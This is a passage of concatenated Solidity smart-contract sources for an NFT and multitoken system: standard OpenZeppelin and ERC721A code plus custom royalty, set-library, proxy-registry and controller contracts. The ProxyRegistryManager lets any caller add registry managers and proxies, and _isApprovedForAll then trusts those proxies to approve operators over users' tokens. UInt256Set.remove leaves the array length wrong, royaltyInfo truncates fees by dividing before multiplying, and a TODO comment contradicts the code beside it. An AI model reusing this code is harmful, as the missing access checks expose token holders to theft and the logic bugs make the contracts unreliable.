symbolsOf[_tokenId] = _symbolOf;
}
function setNameOf(uint256 _tokenId, string memory _nameOf) external onlyMinter {
namesOf[_tokenId] = _nameOf;
}
function setRoyalty(uint256 tokenId, address receiver, uint256 amount) external onlyOwner {
royaltyReceiversByHash[tokenId] = receiver;
royaltyFeesByHash[tokenId] = amount;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// Creator: Chiru Labs
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
function _initToken(string memory name_, string memory symbol_) internal {
require(bytes(_name).length == 0, "ERC721 token name already set");
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "../interfaces/IERC2981Holder.sol";
import "../interfaces/IERC2981.sol";
///
/// @dev An implementor for the NFT Royalty Standard. Provides interface
/// response to erc2981 as well as a way to modify the royalty fees
/// per token and a way to transfer ownership of a token.
///
abstract contract ERC2981 is ERC165, IERC2981, IERC2981Holder {
// royalty receivers by token hash
mapping(uint256 => address) internal royaltyReceiversByHash;
// royalties for each token hash - expressed as permilliage of total supply
mapping(uint256 => uint256) internal royaltyFeesByHash;
bytes4 internal constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
/// @dev only the royalty owner shall pass
modifier onlyRoyaltyOwner(uint256 _id) {
require(royaltyReceiversByHash[_id] == msg.sender,
"Only the owner can modify the royalty fees");
_;
}
/**
* @dev ERC2981 - return the receiver and royalty payment given the id and sale price
* @param _tokenId the id of the token
* @param _salePrice the price of the token
* @return receiver the receiver
* @return royaltyAmount the royalty payment
*/
function royaltyInfo(
uint256 _tokenId,
uint256 _salePrice
) external view override returns (
address receiver,
uint256 royaltyAmount
) {
require(_salePrice > 0, "Sale price must be greater than 0");
require(_tokenId > 0, "Token Id must be valid");
// get the receiver of the royalty
receiver = royaltyReceiversByHash[_tokenId];
// calculate the royalty amount. royalty is expressed as permilliage of total supply
royaltyAmount = royaltyFeesByHash[_tokenId] / 1000000 * _salePrice;
}
/// @notice ERC165 interface responder for this contract
/// @param interfaceId - the interface id to check
/// @return supportsIface - whether the interface is supported
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override returns (bool supportsIface) {
supportsIface = interfaceId == type(IERC2981).interfaceId
|| super.supportsInterface(interfaceId);
}
/// @notice set the fee permilliage for a token hash
/// @param _id - id of the token hash
/// @param _fee - the fee permilliage to set
function setFee(uint256 _id, uint256 _fee) onlyRoyaltyOwner(_id) external override {
require(_id != 0, "Fee cannot be zero");
royaltyFeesByHash[_id] = _fee;
}
/// @notice get the fee permilliage for a token hash
/// @param _id - id of the token hash
/// @return fee - the fee
function getFee(uint256 _id) external view override returns (uint256 fee) {
fee = royaltyFeesByHash[_id];
}
/// @notice get the royalty receiver for a token hash
/// @param _id - id of the token hash
/// @return owner - the royalty owner
function royaltyOwner(uint256 _id) external view override returns (address owner) {
owner = royaltyReceiversByHash[_id];
}
/// @notice get the royalty receiver for a token hash
/// @param _id - id of the token hash
/// @param _newOwner - address of the new owners
function transferOwnership(uint256 _id, address _newOwner) onlyRoyaltyOwner(_id) external override {
require(_id != 0 && _newOwner != address(0), "Invalid token id or new owner");
royaltyReceiversByHash[_id] = _newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/**
* @notice Key sets with enumeration and delete. Uses mappings for random
* and existence checks and dynamic arrays for enumeration. Key uniqueness is enforced.
* @dev Sets are unordered. Delete operations reorder keys. All operations have a
* fixed gas cost at any scale, O(1).
* author: Rob Hitchens
*/
library AddressSet {
struct Set {
mapping(address => uint256) keyPointers;
address[] keyList;
}
/**
* @notice insert a key.
* @dev duplicate keys are not permitted.
* @param self storage pointer to a Set.
* @param key value to insert.
*/
function insert(Set storage self, address key) public {
require(
!exists(self, key),
"AddressSet: key already exists in the set."
);
self.keyList.push(key);
self.keyPointers[key] = self.keyList.length - 1;
}
/**
* @notice remove a key.
* @dev key to remove must exist.
* @param self storage pointer to a Set.
* @param key value to remove.
*/
function remove(Set storage self, address key) public {
// TODO: I commented this out do get a test to pass - need to figure out what is up here
require(
exists(self, key),
"AddressSet: key does not exist in the set."
);
if (!exists(self, key)) return;
uint256 last = count(self) - 1;
uint256 rowToReplace = self.keyPointers[key];
if (rowToReplace != last) {
address keyToMove = self.keyList[last];
self.keyPointers[keyToMove] = rowToReplace;
self.keyList[rowToReplace] = keyToMove;
}
delete self.keyPointers[key];
self.keyList.pop();
}
/**
* @notice count the keys.
* @param self storage pointer to a Set.
*/
function count(Set storage self) public view returns (uint256) {
return (self.keyList.length);
}
/**
* @notice check if a key is in the Set.
* @param self storage pointer to a Set.
* @param key value to check.
* @return bool true: Set member, false: not a Set member.
*/
function exists(Set storage self, address key)
public
view
returns (bool)
{
if (self.keyList.length == 0) return false;
return self.keyList[self.keyPointers[key]] == key;
}
/**
* @notice fetch a key by row (enumerate).
* @param self storage pointer to a Set.
* @param index row to enumerate. Must be < count() - 1.
*/
function keyAtIndex(Set storage self, uint256 index)
public
view
returns (address)
{
return self.keyList[index];
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/**
* @notice Key sets with enumeration and delete. Uses mappings for random
* and existence checks and dynamic arrays for enumeration. Key uniqueness is enforced.
* @dev Sets are unordered. Delete operations reorder keys. All operations have a
* fixed gas cost at any scale, O(1).
* author: Rob Hitchens
*/
library UInt256Set {
struct Set {
mapping(uint256 => uint256) keyPointers;
uint256[] keyList;
}
/**
* @notice insert a key.
* @dev duplicate keys are not permitted.
* @param self storage pointer to a Set.
* @param key value to insert.
*/
function insert(Set storage self, uint256 key) public {
require(
!exists(self, key),
"UInt256Set: key already exists in the set."
);
self.keyList.push(key);
self.keyPointers[key] = self.keyList.length - 1;
}
/**
* @notice remove a key.
* @dev key to remove must exist.
* @param self storage pointer to a Set.
* @param key value to remove.
*/
function remove(Set storage self, uint256 key) public {
// TODO: I commented this out do get a test to pass - need to figure out what is up here
// require(
// exists(self, key),
// "UInt256Set: key does not exist in the set."
// );
if (!exists(self, key)) return;
uint256 last = count(self) - 1;
uint256 rowToReplace = self.keyPointers[key];
if (rowToReplace != last) {
uint256 keyToMove = self.keyList[last];
self.keyPointers[keyToMove] = rowToReplace;
self.keyList[rowToReplace] = keyToMove;
}
delete self.keyPointers[key];
delete self.keyList[self.keyList.length - 1];
}
/**
* @notice count the keys.
* @param self storage pointer to a Set.
*/
function count(Set storage self) public view returns (uint256) {
return (self.keyList.length);
}
/**
* @notice check if a key is in the Set.
* @param self storage pointer to a Set.
* @param key value to check.
* @return bool true: Set member, false: not a Set member.
*/
function exists(Set storage self, uint256 key)
public
view
returns (bool)
{
if (self.keyList.length == 0) return false;
return self.keyList[self.keyPointers[key]] == key;
}
/**
* @notice fetch a key by row (enumerate).
* @param self storage pointer to a Set.
* @param index row to enumerate. Must be < count() - 1.
*/
function keyAtIndex(Set storage self, uint256 index)
public
view
returns (uint256)
{
return self.keyList[index];
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "../interfaces/IProxyRegistry.sol";
import "../utils/AddressSet.sol";
/// @title ProxyRegistryManager
/// @notice a proxy registry is a registry of delegate proxies which have the ability to autoapprove transactions for some address / contract. Used by OpenSEA to enable feeless trades by a proxy account
contract ProxyRegistryManager is IProxyRegistryManager {
// using the addressset library to store the addresses of the proxies
using AddressSet for AddressSet.Set;
// the set of registry managers able to manage this registry
mapping(address => bool) internal registryManagers;
// the set of proxy addresses
AddressSet.Set private _proxyAddresses;
/// @notice add a new registry manager to the registry
/// @param newManager the address of the registry manager to add
function addRegistryManager(address newManager) external virtual override {
registryManagers[newManager] = true;
}
/// @notice remove a registry manager from the registry
/// @param oldManager the address of the registry manager to remove
function removeRegistryManager(address oldManager) external virtual override {
registryManagers[oldManager] = false;
}
/// @notice check if an address is a registry manager
/// @param _addr the address of the registry manager to check
/// @return _isManager true if the address is a registry manager, false otherwise
function isRegistryManager(address _addr)
external
virtual
view
override
returns (bool _isManager) {
return registryManagers[_addr];
}
/// @notice add a new proxy address to the registry
/// @param newProxy the address of the proxy to add
function addProxy(address newProxy) external virtual override {
_proxyAddresses.insert(newProxy);
}
/// @notice remove a proxy address from the registry
/// @param oldProxy the address of the proxy to remove
function removeProxy(address oldProxy) external virtual override {
_proxyAddresses.remove(oldProxy);
}
/// @notice check if an address is a proxy address
/// @param proxy the address of the proxy to check
/// @return _isProxy true if the address is a proxy address, false otherwise
function isProxy(address proxy)
external
virtual
view
override
returns (bool _isProxy) {
_isProxy = _proxyAddresses.exists(proxy);
}
/// @notice get the count of proxy addresses
/// @return _count the count of proxy addresses
function allProxiesCount()
external
virtual
view
override
returns (uint256 _count) {
_count = _proxyAddresses.count();
}
/// @notice get the nth proxy address
/// @param _index the index of the proxy address to get
/// @return the nth proxy address
function proxyAt(uint256 _index)
external
virtual
view
override
returns (address) {
return _proxyAddresses.keyAtIndex(_index);
}
/// @notice check if the proxy approves this request
function _isApprovedForAll(address _owner, address _operator)
internal
view
returns (bool isOperator)
{
// Whitelist OpenSea proxy contract for easy trading.
for (uint256 i = 0; i < _proxyAddresses.keyList.length; i++) {
IProxyRegistry proxyRegistry = IProxyRegistry(
_proxyAddresses.keyList[i]
);
try proxyRegistry.proxies(_owner) returns (
OwnableDelegateProxy thePr
) {
if (address(thePr) == _operator) {
return true;
}
} catch {}
}
return false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../interfaces/IControllable.sol";
abstract contract Controllable is IControllable {
mapping(address => bool) internal _controllers;
/**
* @dev Throws if called by any account not in authorized list
*/
modifier onlyController() {
require(
_controllers[msg.sender] == true || address(this) == msg.sender,
"Controllable: caller is not a controller"
);
_;
}
/**
* @dev Add an address allowed to control this contract
*/
function addController(address _controller)
external
override
onlyController
{
_addController(_controller);
}
function _addController(address _controller) internal {
_controllers[_controller] = true;
}
/**
* @dev Check if this address is a controller
*/
function isController(address _address)
external
view
override
returns (bool allowed)
{
allowed = _isController(_address);
}
function _isController(address _address)
internal view
returns (bool allowed)
{
allowed = _controllers[_address];
}
/**
* @dev Remove the sender address from the list of controllers
*/
function relinquishControl() external override onlyController {
_relinquishControl();
}
function _relinquishControl() internal onlyController{
delete _controllers[msg.sender];
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./IERC1155Mint.sol";
import "./IERC1155Burn.sol";
/// @dev extended by the multitoken
interface IMultiToken is IERC1155Mint, IERC1155Burn {
function symbolOf(uint256 _tokenId) external view returns (string memory);
function nameOf(uint256 _tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// implemented by erc1155 tokens to allow mminting
interface IERC1155Mint {
/// @notice event emitted when tokens are minted
event MinterMinted(
address target,
uint256 tokenHash,
uint256 amount
);
/// @notice mint tokens of specified amount to the specified address
/// @param recipient the mint target
/// @param tokenHash the token hash to mint
/// @param amount the amount to mint
function mint(
address recipient,
uint256 tokenHash,
uint256 amount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// implemented by erc1155 tokens to allow burning
interface IERC1155Burn {
/// @notice event emitted when tokens are burned
event MinterBurned(
address target,
uint256 tokenHash,
uint256 amount
);
/// @notice burn tokens of specified amount from the specified address
/// @param target the burn target
/// @param tokenHash the token hash to burn
/// @param amount the amount to burn
function burn(
address target,
uint256 tokenHash,
uint256 amount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// implemented by erc1155 tokens to allow the bridge to mint and burn tokens
/// bridge must be able to mint and burn tokens on the multitoken contract
interface IERC1155Multinetwork {
// transfer token to a different address
function networkTransferFrom(
address from,
address to,
uint256 network,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
